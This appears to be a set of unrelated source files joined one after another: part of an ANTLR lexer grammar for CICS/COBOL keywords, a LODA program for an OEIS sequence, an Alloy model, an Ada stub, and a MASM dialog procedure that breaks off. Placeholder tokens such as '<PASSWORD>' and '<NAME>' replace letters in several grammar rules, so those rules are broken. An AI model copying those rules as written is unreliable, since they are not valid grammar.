CONNECT : C O N N E C T;
CONSISTENT : C O N S I S T E N T;
CONSOLE : C O N S O L E;
CONTAINER : C O N T A I N E R;
CONTEXTTYPE : C O N T E X T T Y P E;
CONTROL : C O N T R O L;
CONVDATA : C O N V D A T A;
CONVERSE : C O N V E R S E;
CONVERTST : C O N V E R T S T;
CONVERTTIME : C O N V E R T T I M E;
CONVID : C O N V I D;
COPY : C O P Y;
COUNTER : C O U N T E R;
COUNTRY : C O U N T R Y;
COUNTRYLEN : C O U N T R Y L E N;
CREATE : C R E A T E;
CRITICAL : C R I T I C A L;
CTLCHAR : C T L C H A R;
CURRENT : C U R R E N T;
CWA : C W A;
CWALENG : C W A L E N G;
DATA : D A T A;
DATA1 : D A T A '1';
DATA2 : D A T A '2';
DATALENGTH : D A T A L E N G T H;
DATALENTH : D A T A L E N T H;
DATAONLY : D A T A O N L Y;
DATAPOINTER : D A T A P O I N T E R;
DATASET : D A T A S E T;
DATASTR : D A T A S T R;
DATATOXML : D A T A T O X M L;
DATATYPE : D A T A T Y P E;
DATCONTAINER : D A T C O N T A I N E R;
DATE : D A T E;
DATEFORM : D A T E F O R M;
DATESEP : D A T E S E P;
DATESTRING : D A T E S T R I N G;
DAYCOUNT : D A Y C O U N T;
DAYOFMONTH : D A Y O F M O N T H;
DAYOFWEEK : D A Y O F W E E K;
DAYOFYEAR : D A Y O F Y E A R;
DAYS : D A Y S;
DAYSLEFT : D A Y S L E F T;
DCOUNTER : D C O U N T E R;
DDMMYY : D D M M Y Y;
DDMMYYYY : D D M M Y Y Y Y;
DEBKEY : D E B K E Y;
DEBREC : D E B R E C;
DEEDIT : D E E D I T;
DEFINE : D E F I N E;
DEFRESP : D E F R E S P;
DEFSCRNHT : D E F S C R N H T;
DEFSCRNWD : D E F S C R N W D;
DELAY : D E L A Y;
DELETE : D E L E T E;
DELETEQ : D E L E T E Q;
DELIMITER : D E L I M I T E R;
DEQ : D E Q;
DESTCOUNT : D E S T C O U N T;
DESTID : D E S T I D;
DESTIDLENG : D E S T I D L E N G;
DETAIL : D E T A I L;
DETAILLENGTH : D E T A I L L E N G T H;
DIGEST : D I G E S T;
DIGESTTYPE : D I G E S T T Y P E;
DISCONNECT : D I S C O N N E C T;
DOCDELETE : D O C D E L E T E;
DOCSIZE : D O C S I Z E;
DOCSTATUS : D O C S T A T U S;
DOCTOKEN : D O C T O K E N;
DOCUMENT : D O C U M E N T;
DS3270 : D S '3' '2' '7' '0';
DSSCS : D S S C S;
DUMP : D U M P;
DUMPCODE : D U M P C O D E;
DUMPID : D U M P I D;
ECADDR : E C A D D R;
ECBLIST : E C B L I S T;
EIB : E I B;
ELEMNAME : E L E M N A M E;
ELEMNAMELEN : E L E M N A M E L E N;
ELEMNS : E L E M N S;
ELEMNSLEN : E L E M N S L E N;
END : E N D;
ENDACTIVITY : E N D A C T I V I T Y;
ENDBR : E N D B R;
ENDBROWSE : E N D B R O W S E;
ENDFILE : E N D F I L E;
ENDOUTPUT : E N D O U T P U T;
ENQ : E N Q;
ENTER : E N T E R;
ENTRY : E N T R Y;
ENTRYNAME : E N T R Y N A M E;
EODS : E O D S;
EPRFIELD : E P R F I E L D;
EPRFROM : E P R F R O M;
EPRINTO : E P R I N T O;
EPRLENGTH : E P R L E N G T H;
EPRSET : E P R S E T;
EPRTYPE : E P R T Y P E;
EQUAL : E Q U A L;
ERASE : E R A S E;
ERASEAUP : E R A S E A U P;
ERROR : E R R O R;
ERRTERM : E R R T E R M;
ESMREASON : E S M R E A S O N;
ESMRESP : E S M R E S P;
EVENT : E V E N T;
EVENTTYPE : E V E N T T Y P E;
EVENTUAL : E V E N T U A L;
EWASUPP : E W A S U P P;
EXCEPTION : E X C E P T I O N;
EXPECT : E X P E C T;
EXPIRYTIME : E X P I R Y T I M E;
EXTDS : E X T D S;
EXTERNAL : E X T E R N A L;
EXTRACT : E X T R A C T;
FACILITY : F A C I L I T Y;
FACILITYTOKN : F A C I L I T Y T O K N;
FAULTACTLEN : F A U L T A C T L E N;
FAULTACTOR : F A U L T A C T O R;
FAULTCODE : F A U L T C O D E;
FAULTCODELEN : F A U L T C O D E L E N;
FAULTCODESTR : F A U L T C O D E S T R;
FAULTSTRING : F A U L T S T R I N G;
FAULTSTRLEN : F A U L T S T R L E N;
FCI : F C I;
FCT : F C T;
FIELD : F I E L D;
FILE : F I L E;
FIRESTATUS : F I R E S T A T U S;
FLENGTH : F L E N G T H;
FMH : F M H;
FMHPARM : F M H P A R M;
FOR : F O R;
FORCE : F O R C E;
FORMATTIME : F O R M A T T I M E;
FORMFEED : F O R M F E E D;
FORMFIELD : F O R M F I E L D;
FREE : F R E E;
FREEKB : F R E E K B;
FREEMAIN : F R E E M A I N;
FROM : F R O M;
FROMACTIVITY : F R O M A C T I V I T Y;
FROMCCSID : F R O M C C S I D;
FROMCHANNEL : F R O M C H A N N E L;
FROMCODEPAGE : F R O M C O D E P A G E;
FROMDOC : F R O M D O C;
FROMFLENGTH : F R O M F L E N G T H;
FROMLENGTH : F R O M L E N G T H;
FROMPROCESS : F R O M P R O C E S S;
FRSET : F R S E T;
FULLDATE : F U L L D A T E;
GCHARS : G C H A R S;
GCODES : G C O D E S;
GDS : G D S;
GENERIC : G E N E R I C;
GET : G E T;
GETMAIN : G E T M A I N;
GETNEXT : G E T N E X T;
GMMI : G M M I;
GROUPID : G R O U P I D;
GTEC : G T E C;
GTEQ : G T E Q;
HANDLE : H A N D L E;
HEAD : H E A D;
HEADER : H E A D E R;
HEX : H E X;
HILIGHT : H I L I G H T;
HOLD : H O L D;
HONEOM : H O N E O M;
HOST : H O S T;
HOSTCODEPAGE : H O S T C O D E P A G E;
HOSTLENGTH : H O S T L E N G T H;
HOSTTYPE : H O S T T Y P E;
HOURS : H O U R S;
HTTPHEADER : H T T P H E A D E R;
HTTPMETHOD : H T T P M E T H O D;
HTTPRNUM : H T T P R N U M;
HTTPVERSION : H T T P V E R S I O N;
HTTPVNUM : H T T P V N U M;
IGNORE : I G N O R E;
IMMEDIATE : I M M E D I A T E;
INCREMENT : I N C R E M E N T;
INITIMG : I N I T I M G;
INITPARM : I N I T P A R M;
INITPARMLEN : I N I T P A R M L E N;
INPARTN : I N P A R T N;
INPUT : I N P U T;
INPUTEVENT : I N P U T E V E N T;
INPUTMSG : I N P U T M S G;
INPUTMSGLEN : I N P U T M S G L E N;
INQUIRE : I N Q U I R E;
INSERT : I N S E R T;
INTERVAL : I N T E R V A L;
INTO : I N T O;
INTOCCSID : I N T O C C S I D;
INTOCODEPAGE : I N T O C O D E P A G E;
INVALIDCOUNT : I N V A L I D C O U N T;
INVITE : I N V I T E;
INVOKE : I N V O K E;
INVOKINGPROG : I N V O K I N G P R O G;
ISSUE : I S S U E;
ISSUER : I S S U E R;
ITEM : I T E M;
IUTYPE : I U T Y P E;
JOURNALNAME : J O U R N A L N A M E;
JTYPEID : J T Y P E I D;
JUSFIRST : J U S F I R S T;
JUSLAST : J U S L A S T;
JUSTIFY : J U S T I F Y;
KATAKANA : K A T A K A N A;
KEEP : K E E P;
KEYLENGTH : K E Y L E N G T H;
KEYNUMBER : K E Y N U M B E R;
L40 : L '4' '0';
L64 : L '6' '4';
L80 : L '8' '0';
LABEL : L A B E L;
LANGINUSE : L A N G I N U S E;
LANGUAGECODE : L A N G U A G E C O D E;
LAST : L A S T;
LASTUSETIME : L A S T U S E T I M E;
LDC : L D C;
LDCMNEM : L D C M N E M;
LDCNUM : L D C N U M;
LEAVEKB : L E A V E K B;
LENGTH : L E N G T H;
LENGTHLIST : L E N G T H L I S T;
LEVEL : L E V E L;
LIGHTPEN : L I G H T P E N;
LINE : L I N E;
LINEADDR : L I N E A D D R;
LINK : L I N K;
LIST : L I S T;
LISTLENGTH : L I S T L E N G T H;
LLID : L L I D;
LOAD : L O A D;
LOCALITY : L O C A L I T Y;
LOCALITYLEN : L O C A L I T Y L E N;
LOGMESSAGE : L O G M E S S A G E;
LOGMODE : L O G M O D E;
LOGONLOGMODE : L O G O N L O G M O D E;
LOGONMSG : L O G O N M S G;
LUNAME : L U N A M E;
MAIN : M A I N;
MAP : M A P;
MAPCOLUMN : M A P C O L U M N;
MAPHEIGHT : M A P H E I G H T;
MAPLINE : M A P L I N E;
MAPONLY : M A P O N L Y;
MAPPED : M A P P E D;
MAPPINGDEV : M A P P I N G D E V;
MAPSET : M A P S E T;
MAPWIDTH : M A P W I D T H;
MASSINSERT : M A S S I N S E R T;
MAXDATALEN : M A X D A T A L E N;
MAXFLENGTH : M A X F L E N G T H;
MAXIMUM : M A X I M U M;
MAXLENGTH : M A X L E N G T H;
MAXLIFETIME : M A X L I F E T I M E;
MAXPROCLEN : M A X P R O C L E N;
MCC : M C C;
MEDIATYPE : M E D I A T Y P E;
MESSAGE : M E S S A G E;
MESSAGEID : M E S S A G E I D;
METADATA : M E T A D A T A;
METADATALEN : M E T A D A T A L E N;
METHOD : M E T H O D;
METHODLENGTH : M E T H O D L E N G T H;
MILLISECONDS : M I L L I S E C O N D S;
MINIMUM : M I N I M U M;
MINUTES : M I N U T E S;
MMDDYY : M M D D Y Y;
MMDDYYYY : M M D D Y Y Y Y;
MODE : M O D E;
MODENAME : M O D E N A M E;
MONITOR : M O N I T O R;
MONTH : M O N T H;
MONTHOFYEAR : M O N T H O F Y E A R;
MOVE : M O V E;
MSR : M S R;
MSRCONTROL : M S R C O N T R O L;
NAME : N A M E;
NAMELENGTH : N A M E L E N G T H;
NATLANG : N A T L A N G;
NATLANGINUSE : N A T L A N G I N U S E;
NETNAME : N E T N A M E;
NEWPASSWORD : <PASSWORD> S <PASSWORD>;
NEWPHRASE : N E W P H R A S E;
NEWPHRASELEN : N E W P H R A S E L E N;
NEXT : N E X T;
NEXTTRANSID : N E X T T R A N S I D;
NLEOM : N L E O M;
NOAUTOPAGE : N O A U T O P A G E;
NOCC : N O C C;
NOCHECK : N O C H E C K;
NOCLICONVERT : N O C L I C O N V E R T;
NOCLOSE : N O C L O S E;
NODATA : N O D A T A;
NODE : N O D E;
NODOCDELETE : N O D O C D E L E T E;
NODUMP : N O D U M P;
NOEDIT : N O E D I T;
NOFLUSH : N O F L U S H;
NOHANDLE : N O H A N D L E -> channel(HIDDEN);
NOINCONVERT : N O I N C O N V E R T;
NONE : N O N E;
NOOUTCONERT : N O O U T C O N E R T;
NOQUEUE : N O Q U E U E;
NOQUIESCE : N O Q U I E S C E;
NOSRVCONVERT : N O S R V C O N V E R T;
NOSUSPEND : N O S U S P E N D;
NOTE : N O T E;
NOTPURGEABLE : N O T P U R G E A B L E;
NOTRUNCATE : N O T R U N C A T E;
NOWAIT : N O W A I T;
NSCONTAINER : N S C O N T A I N E R;
NUMCIPHERS : N U M C I P H E R S;
NUMEVENTS : N U M E V E N T S;
NUMITEMS : N U M I T E M S;
NUMREC : N U M R E C;
NUMROUTES : N U M R O U T E S;
NUMSEGMENTS : N U M S E G M E N T S;
NUMTAB : N U M T A B;
OIDCARD : O I D C A R D;
ON : O N;
OPCLASS : O P C L A S S;
OPEN : O P E N;
OPERATION : O P E R A T I O N;
OPERATOR : O P E R A T O R;
OPERID : O P E R I D;
OPERKEYS : O P E R K E Y S;
OPERPURGE : O P E R P U R G E;
OPID : O P I D;
OPSECURITY : O P S E C U R I T Y;
OPTIONS : O P T I O N S;
OR : O R;
ORGABCODE : O R G A B C O D E;
ORGANIZATION : O R G A N I Z A T I O N;
ORGANIZATLEN : O R G A N I Z A T L E N;
ORGUNIT : O R G U N I T;
ORGUNITLEN : O R G U N I T L E N;
OUTDESCR : O U T D E S C R;
OUTLINE : O U T L I N E;
OUTPARTN : O U T P A R T N;
OUTPUT : O U T P U T;
OWNER : O W N E R;
PA : P A;
PA1: P A '1';
PA2: P A '2';
PA3: P A '3';
PAGE : P A G E;
PAGENUM : P A G E N U M;
PAGING : P A G I N G;
PARSE : P A R S E;
PARTN: P A R T N;
PARTNER : P A R T N E R;
PARTNPAGE : P A R T N P A G E;
PARTNS : P A R T N S;
PARTNSET : P A R T N S E T;
PASS : <PASSWORD> S;
PASSBK : P A S S B K;
PASSWORD : P <PASSWORD> <NAME> D;
PASSWORDLEN : P A S S W O R D L E N;
PATH : P A T H;
PATHLENGTH : P A T H L E N G T H;
PCT : P C T;
PF : P F;
PF1 : P F '1';
PF10 : P F '10';
PF11 : P F '11';
PF12 : P F '12';
PF13 : P F '13';
PF14 : P F '14';
PF15 : P F '15';
PF16 : P F '16';
PF17 : P F '17';
PF18 : P F '18';
PF19 : P F '19';
PF2 : P F '2';
PF20 : P F '20';
PF21 : P F '21';
PF22 : P F '22';
PF23 : P F '23';
PF24 : P F '24';
PF3 : P F '3';
PF4 : P F '4';
PF5 : P F '5';
PF6 : P F '6';
PF7 : P F '7';
PF8 : P F '8';
PF9 : P F '9';
PFXLENG : P F X L E N G;
PHRASE : P H R A S E;
PHRASELEN : P H R A S E L E N;
PIPLENGTH : P I P L E N G T H;
PIPLIST : P I P L I S T;
POINT : P O I N T;
POOL : P O O L;
POP : P O P;
PORTNUMBER : P O R T N U M B E R;
PORTNUMNU : P O R T N U M N U;
POST : P O S T;
PPT : P P T;
PREDICATE : P R E D I C A T E;
PREFIX : P R E F I X;
PREPARE : P R E P A R E;
PRINCONVID : P R I N C O N V I D;
PRINSYSID : P R I N S Y S I D;
PRINT : P R I N T;
PRIORITY : P R I O R I T Y;
PRIVACY : P R I V A C Y;
PROCESS : P R O C E S S;
PROCESSTYPE : P R O C E S S T Y P E;
PROCLENGTH : P R O C L E N G T H;
PROCNAME : P R O C N A M E;
PROFILE : P R O F I L E;
PROGRAM : P R O G R A M;
PROTECT : P R O T E C T;
PS: P S;
PUNCH : P U N C H;
PURGE : P U R G E;
PURGEABLE : P U R G E A B L E;
PUSH : P U S H;
PUT : P U T;
QNAME : Q N A M E;
QUERY : Q U E R Y;
QUERYPARM : Q U E R Y P A R M;
QUERYSTRING : Q U E R Y S T R I N G;
QUERYSTRLEN : Q U E R Y S T R L E N;
QUEUE : Q U E U E;
RBA : R B A;
RBN : R B N;
READ : R E A D;
READNEXT : R E A D N E X T;
READPREV : R E A D P R E V;
READQ : R E A D Q;
REATTACH : R E A T T A C H;
RECEIVE : R E C E I V E;
RECEIVER : R E C E I V E R;
RECFM : R E C F M;
RECORD : R E C O R D;
RECORDLEN : R E C O R D L E N;
RECORDLENGTH : R E C O R D L E N G T H;
REDUCE : R E D U C E;
REFPARMS : R E F P A R M S;
REFPARMSLEN : R E F P A R M S L E N;
RELATESINDEX : R E L A T E S I N D E X;
RELATESTYPE : R E L A T E S T Y P E;
RELATESURI : R E L A T E S U R I;
RELEASE : R E L E A S E;
REMOVE : R E M O V E;
REPEATABLE : R E P E A T A B L E;
REPETABLE : R E P E T A B L E;
REPLACE : R E P L A C E;
REPLY : R E P L Y;
REPLYLENGTH : R E P L Y L E N G T H;
REQID : R E Q I D;
REQUESTTYPE : R E Q U E S T T Y P E;
RESCLASS : R E S C L A S S;
RESET : R E S E T;
RESETBR : R E S E T B R;
RESID : R E S I D;
RESIDLENGTH : R E S I D L E N G T H;
RESOURCE : R E S O U R C E;
RESP : R E S P;
RESP2 : R E S P '2';
RESSEC : R E S S E C;
RESTART : R E S T A R T;
RESTYPE : R E S T Y P E;
RESULT : R E S U L T;
RESUME : R E S U M E;
RETAIN : R E T A I N;
RETCODE : R E T C O D E;
RETCORD : R E T C O R D;
RETRIECE : R E T R I E C E;
RETRIEVE : R E T R I E V E;
RETURN : R E T U R N;
RETURNPROG : R E T U R N P R O G;
REWIND : R E W I N D;
REWRITE : R E W R I T E;
RIDFLD : R I D F L D;
ROLE : R O L E;
ROLELENGTH : R O L E L E N G T H;
ROLLBACK : R O L L B A C K;
ROUTE : R O U T E;
ROUTECODES : R O U T E C O D E S;
RPROCESS : R P R O C E S S;
RRESOURCE : R R E S O U R C E;
RRN : R R N;
RTERMID : R T E R M I D;
RTRANSID : R T R A N S I D;
RUN : R U N;
SADDRLENGTH : S A D D R L E N G T H;
SCHEME : S C H E M E;
SCHEMENAME : S C H E M E N A M E;
SCOPE : S C O P E;
SCOPELEN : S C O P E L E N;
SCRNHT : S C R N H T;
SCRNWD : S C R N W D;
SECONDS : S E C O N D S;
SECURITY : S E C U R I T Y;
SEGMENTLIST : S E G M E N T L I S T;
SEND : S E N D;
SENDER : S E N D E R;
SERIALNUM : S E R I A L N U M;
SERIALNUMLEN : S E R I A L N U M L E N;
SERVER : S E R V E R;
SERVERADDR : S E R V E R A D D R;
SERVERADDRNU : S E R V E R A D D R N U;
SERVERCONV : S E R V E R C O N V;
SERVERNAME : S E R V E R N A M E;
SERVICE : S E R V I C E;
SESSION : S E S S I O N;
SESSTOKEN : S E S S T O K E N;
SET : S E T;
SHARED : S H A R E D;
SIGDATA : S I G D A T A;
SIGNAL : S I G N A L;
SIGNOFF : S I G N O F F;
SIGNON : S I G N O N;
SIT : S I T;
SNAMELENGTH : S N A M E L E N G T H;
SOAPFAULT : S O A P F A U L T;
SOSI : S O S I;
SPOOLCLOSE : S P O O L C L O S E;
SPOOLOPEN : S P O O L O P E N;
SPOOLREAD : S P O O L R E A D;
SPOOLWRITE : S P O O L W R I T E;
SRVCONVERT : S R V C O N V E R T;
SRVRADDR6NU : S R V R A D D R '6' N U;
SRVRIPFAMILY : S R V R I P F A M I L Y;
SSLTYPE : S S L T Y P E;
START : S T A R T;
STARTBR : S T A R T B R;
STARTBROWSE : S T A R T B R O W S E;
STARTCODE : S T A R T C O D E;
STATE : S T A T E;
STATELEN : S T A T E L E N;
STATIONID : S T A T I O N I D;
STATUS : S T A T U S;
STATUSCODE : S T A T U S C O D E;
STATUSLEN : S T A T U S L E N;
STATUSTEXT : S T A T U S T E X T;
STORAGE : S T O R A G E;
STRFIELD : S T R F I E L D;
STRINGFORMAT : S T R I N G F O R M A T;
SUBADDR : S U B A D D R;
SUBCODELEN : S U B C O D E L E N;
SUBCODESTR : S U B C O D E S T R;
SUBEVENT : S U B E V E N T;
SUBEVENT1 : S U B E V E N T '1';
SUBEVENT2 : S U B E V E N T '2';
SUBEVENT3 : S U B E V E N T '3';
SUBEVENT4 : S U B E V E N T '4';
SUBEVENT5 : S U B E V E N T '5';
SUBEVENT6 : S U B E V E N T '6';
SUBEVENT7 : S U B E V E N T '7';
SUBEVENT8 : S U B E V E N T '8';
SUSPEND : S U S P E N D;
SUSPSTATUS : S U S P S T A T U S;
SYMBOL : S Y M B O L;
SYMBOLLIST : S Y M B O L L I S T;
SYNCHRONOUS : S Y N C H R O N O U S;
SYNCLEVEL : S Y N C L E V E L;
SYNCONRETURN : S Y N C O N R E T U R N;
SYNCPOINT : S Y N C P O I N T;
SYSID : S Y S I D;
TABLES : T A B L E S;
TASK : T A S K;
TASKPRIORITY : T A S K P R I O R I T Y;
TCPIP : T C P I P;
TCPIPSERVICE : T C P I P S E R V I C E;
TCT : T C T;
TCTUA : T C T U A;
TCTUALENG : T C T U A L E N G;
TD : T D;
TELLERID : T E L L E R I D;
TEMPLATE : T E M P L A T E;
TERMCODE : T E R M C O D E;
TERMID : T E R M I D;
TERMINAL : T E R M I N A L;
TERMPRIORITY : T E R M P R I O R I T Y;
TEST : T E S T;
TEXT : T E X T;
TEXTKYBD : T E X T K Y B D;
TEXTLENGTH : T E X T L E N G T H;
TEXTPRINT : T E X T P R I N T;
TIME : T I M E;
TIMEOUT : T I M E O U T;
TIMER : T I M E R;
TIMESEP : T I M E S E P;
TITLE : T I T L E;
TO : T O;
TOACTIVITY : T O A C T I V I T Y;
TOCHANNEL : T O C H A N N E L;
TOCONTAINER : T O C O N T A I N E R;
TOFLENGTH : T O F L E N G T H;
TOKEN : T O K E N;
TOLENGTH : T O L E N G T H;
TOPROCESS : T O P R O C E S S;
TRACE : T R A C E;
TRACENUM : T R A C E N U M;
TRAILER : T R A I L E R;
TRANPRIORITY : T R A N P R I O R I T Y;
TRANSACTION : T R A N S A C T I O N;
TRANSFORM : T R A N S F O R M;
TRANSID : T R A N S I D;
TRIGGER : T R I G G E R;
TRT : T R T;
TS : T S;
TWA : T W A;
TWALENG : T W A L E N G;
TYPE : T Y P E;
TYPENAME : T Y P E N A M E;
TYPENAMELEN : T Y P E N A M E L E N;
TYPENS : T Y P E N S;
TYPENSLEN : T Y P E N S L E N;
UNATTEND : U N A T T E N D;
UNCOMMITTED : U N C O M M I T T E D;
UNESCAPED : U N E S C A P E D;
UNLOCK : U N L O C K;
UNTIL : U N T I L;
UOW : U O W;
UPDATE : U P D A T E;
URI : U R I;
URIMAP : U R I M A P;
URL : U R L;
URLLENGTH : U R L L E N G T H;
USERDATAKEY : U S E R D A T A K E Y;
USERID : U S E R I D;
USERNAME : U S E <NAME>;
USERNAMELEN : U S E R N A M E L E N;
USERPRIORITY : U S E R P R I O R I T Y;
USING : U S I N G;
VALIDATION : V A L I D A T I O N;
VALUE : V A L U E;
VALUELENGTH : V A L U E L E N G T H;
VERIFY : V E R I F Y;
VERSIONLEN : V E R S I O N L E N;
VOLUME : V O L U M E;
VOLUMELENG : V O L U M E L E N G;
WAIT : W A I T;
WAITCICS : W A I T C I C S;
WEB : W E B;
WPMEDIA : W P M E D I A;
WPMEDIA1 : W P M E D I A '1';
WPMEDIA2 : W P M E D I A '2';
WPMEDIA3 : W P M E D I A '3';
WPMEDIA4 : W P M E D I A '4';
WRAP : W R A P;
WRITE : W R I T E;
WRITEQ : W R I T E Q;
WSACONTEXT : W S A C O N T E X T;
WSAEPR : W S A E P R;
XCTL : X C T L;
XMLCONTAINER : X M L C O N T A I N E R;
XMLTODATA : X M L T O D A T A;
XMLTRANSFORM : X M L T R A N S F O R M;
XRBA : X R B A;
YEAR : Y E A R;
YYDDD : Y Y D D D;
YYDDMM : Y Y D D M M;
YYYYDDD : Y Y Y Y D D D;
YYYYDDMM : Y Y Y Y D D M M;
YYYYMMDD : Y Y Y Y M M D D;
ZERO_DIGITAL : Z E R O '_' D I G I T A L;
// symbols
AMPCHAR : '&';
ASTERISKCHAR : '*';
DOUBLEASTERISKCHAR : '**';
COLONCHAR : ':';
COMMACHAR : ',';
COMMENTTAG : '*>';
COMMENTENTRYTAG : '*>CE';
DOLLARCHAR : '$';
DOUBLEQUOTE : '"';
// period full stopPosition
DOT_FS : '.' ('\r' | '\n' | '\f' | '\t' | ' ')+ | '.' EOF;
DOT : '.';
EQUALCHAR : '=';
LESSTHANCHAR : '<';
LESSTHANOREQUAL : '<=';
LPARENCHAR : '(';
MINUSCHAR : '-';
MORETHANCHAR : '>';
MORETHANOREQUAL : '>=';
NOTEQUALCHAR : '<>';
PLUSCHAR : '+';
SINGLEQUOTE : '\'';
RPARENCHAR : ')';
SLASHCHAR : '/';
INTEGERLITERAL : (PLUSCHAR | MINUSCHAR)? DIGIT+;
NUMERICLITERAL : (PLUSCHAR | MINUSCHAR)? DIGIT* (DOT | COMMACHAR) DIGIT+ (('e' | 'E') (PLUSCHAR | MINUSCHAR)? DIGIT+)?;
NONNUMERICLITERAL : UNTRMSTRINGLITERAL | STRINGLITERAL | DBCSLITERAL | HEXNUMBER | NULLTERMINATED;
IDENTIFIER : ([a-zA-Z0-9]+ ([-_]+ [a-zA-Z0-9]+)*);
FILENAME : [a-zA-Z0-9]+ '.' [a-zA-Z0-9]+;
// whitespace, line breaks, comments, ...
NEWLINE : '\r'? '\n' -> channel(HIDDEN);
COMMENTLINE : COMMENTTAG WS ~('\n' | '\r')* -> channel(HIDDEN);
COMMENTENTRYLINE : COMMENTENTRYTAG WS ~('\n' | '\r')* -> channel(HIDDEN);
WS : [ \t\f;]+ -> channel(HIDDEN);
SEPARATOR : ', ' -> channel(HIDDEN);
// treat all the non-processed tokens as errors
ERRORCHAR : . ;
ZERO_DIGIT: '0';
fragment HEXNUMBER :
X '"' [0-9A-F]+ '"'
| X '\'' [0-9A-F]+ '\''
;
fragment NULLTERMINATED :
Z '"' (~["\n\r] | '""' | '\'')* '"'
| Z '\'' (~['\n\r] | '\'\'' | '"')* '\''
;
fragment STRINGLITERAL :
'"' (~["\n\r] | '""' | '\'')* '"'
| '\'' (~['\n\r] | '\'\'' | '"')* '\''
;
fragment UNTRMSTRINGLITERAL :
'"' (~["\n\r] | '""' | '\'')*
| '\'' (~['\n\r] | '\'\'' | '"')*
;
fragment DBCSLITERAL :
[GN] '"' (~["\n\r] | '""' | '\'')* '"'
| [GN] '\'' (~['\n\r] | '\'\'' | '"')* '\''
;
fragment DIGIT: [0-9];
// case insensitive chars
fragment A:('a'|'A');
fragment B:('b'|'B');
fragment C:('c'|'C');
fragment D:('d'|'D');
fragment E:('e'|'E');
fragment F:('f'|'F');
fragment G:('g'|'G');
fragment H:('h'|'H');
fragment I:('i'|'I');
fragment J:('j'|'J');
fragment K:('k'|'K');
fragment L:('l'|'L');
fragment M:('m'|'M');
fragment N:('n'|'N');
fragment O:('o'|'O');
fragment P:('p'|'P');
fragment Q:('q'|'Q');
fragment R:('r'|'R');
fragment S:('s'|'S');
fragment T:('t'|'T');
fragment U:('u'|'U');
fragment V:('v'|'V');
fragment W:('w'|'W');
fragment X:('x'|'X');
fragment Y:('y'|'Y');
fragment Z:('z'|'Z');
|
programs/oeis/077/A077864.asm | neoneye/loda | 22 | 12082 | ; A077864: Expansion of (1-x)^(-1)/(1-x-2*x^2-x^3).
; 1,2,5,11,24,52,112,241,518,1113,2391,5136,11032,23696,50897,109322,234813,504355,1083304,2326828,4997792,10734753,23057166,49524465,106373551,228479648,490751216,1054084064,2264066145,4862985490,10445201845,22435238971,48188628152,103504307940,222316803216,477514047249,1025651961622,2202996859337,4731814829831,10163460510128,21830087029128,46888822879216,100712457447601,216320190235162,464633928009581,997986765927507,2143574812181832,4604182272046428,9889318662337600,21241258018612289,45624077615333918,97995912314896097,210485325564176223,452101227809302336,971067791252550880,2085755572435331776,4479992382749735873,9622571318872950306,20668311656807753829,44393446677303390315,95352641309791848280,204807846321206382740,439906575618093469616,944874909570298083377,2029495907127691405350,4359152301886381041721,9363019025712061935799,20110819536612515424592,43196009889923020337912,92780667988860113122896,199283507305318669223313,428040853172961915807018,919388535772459367376541,1974753749423701868213891,4241571674141582518773992,9110467708761445622578316,19568364806468312528340192,42030871898132786292270817,90278069219830856971529518,193908177822564742084411345,416495188160359242319741199,894589613025319583460093408,1921488167168602810183987152,4127162581379601219423915168,8864728528742126423251982881,19040541858669931672283800370,40897161497533785738211681301,87842973743615775506031264923,188677838597353278654738427896,405260947582118615405012639044,870459598520440948220520759760,1869659332282031457685284465745,4015839476905031969531338624310,8625617739989535833122428315561,18526956026081631229870390029927,39794030982965734865646585285360,85473560775118533158509793660776,183588578767131634119673354261424,394329731300334435302339526868337,846980449609716236700196029051962
mul $0,2
add $0,1
seq $0,23435 ; Dying rabbits: a(n) = a(n-1) + a(n-2) - a(n-5).
|
alloy4fun_models/trashltl/models/3/PMNMXxu3qRtQkt8GQ.als | Kaixi26/org.alloytools.alloy | 0 | 429 | open main
pred idPMNMXxu3qRtQkt8GQ_prop4 {
some f: File | after f not in Protected implies eventually always f in Trash
}
pred __repair { idPMNMXxu3qRtQkt8GQ_prop4 }
check __repair { idPMNMXxu3qRtQkt8GQ_prop4 <=> prop4o } |
src/events-inputs.adb | docandrew/troodon | 5 | 8431 | <filename>src/events-inputs.adb
package body Events.Inputs is
end Events.Inputs; |
MasmEd/Addins/raASCII/ASCII.asm | CherryDT/FbEditMOD | 11 | 11058 | include ASCII.inc
.code
DlgProc proc hwnd:HWND,umsg:UINT,wParam:WPARAM,lParam:LPARAM
LOCAL szBuffer[256]:BYTE
.if umsg==WM_CLOSE
invoke EraseArray
invoke DestroyIcon,hIcon
invoke DeleteObject,hMFont
invoke DestroyWindow,hwnd
;invoke EndDialog,hwnd,TRUE
.elseif umsg==WM_PAINT
.if ( !InPaint )
invoke PaintASCII,hwnd
.endif
.elseif umsg==WM_INITDIALOG
; invoke LoadCursor,hInstance,IDC_HAND
; mov hCurHand,eax
; invoke LoadCursor,hInstance,IDC_ARROW
; mov hCurArrow,eax
invoke LoadImage,hInstance,101,IMAGE_ICON,0,0,LR_DEFAULTSIZE
mov hIcon,eax
invoke SendMessage,hwnd,WM_SETICON,ICON_BIG,hIcon
invoke CreateArray
invoke InitRects,hwnd
invoke DefineSizes,hwnd
invoke SendDlgItemMessage,hwnd,IDC_RBN_HEX,BM_SETCHECK,BST_CHECKED,0
mov wOutput,IDC_RBN_HEX
invoke CreateStandardFont
invoke ShowFontData,hwnd,m_LogFont.lfCharSet
invoke SetWindowPos,hwnd,HWND_TOPMOST,0,0,0,0,SWP_NOMOVE or SWP_NOSIZE
.elseif umsg==WM_MOUSEMOVE
.if ( !wParam )
.if ( !InMove )
invoke SelectCurrent,hwnd,lParam
.endif
.endif
.elseif umsg==WM_COMMAND
mov eax,wParam
mov edx,eax
shr edx,16
.if dx==BN_CLICKED
.if ax == IDC_BTN_CLEAR
invoke SetDlgItemText,hwnd,IDC_EDT_CLIP,NULL
.elseif ax == IDC_BTN_INSERT
invoke InsertChars,hwnd
.elseif ax == IDC_BTN_FONT
invoke NewFont,hwnd
.else
mov wOutput,ax
.endif
.elseif dx == EN_CHANGE
invoke SendDlgItemMessage,hwnd,IDC_EDT_CLIP,WM_GETTEXTLENGTH,0,0
.if ( eax )
invoke GetDlgItem,hwnd,IDC_BTN_CLEAR
invoke EnableWindow,eax,TRUE
invoke GetDlgItem,hwnd,IDC_BTN_INSERT
invoke EnableWindow,eax,TRUE
.else
invoke GetDlgItem,hwnd,IDC_BTN_CLEAR
invoke EnableWindow,eax,FALSE
invoke GetDlgItem,hwnd,IDC_BTN_INSERT
invoke EnableWindow,eax,FALSE
.endif
.endif
.elseif umsg==WM_LBUTTONDBLCLK
.if (wParam == MK_LBUTTON)
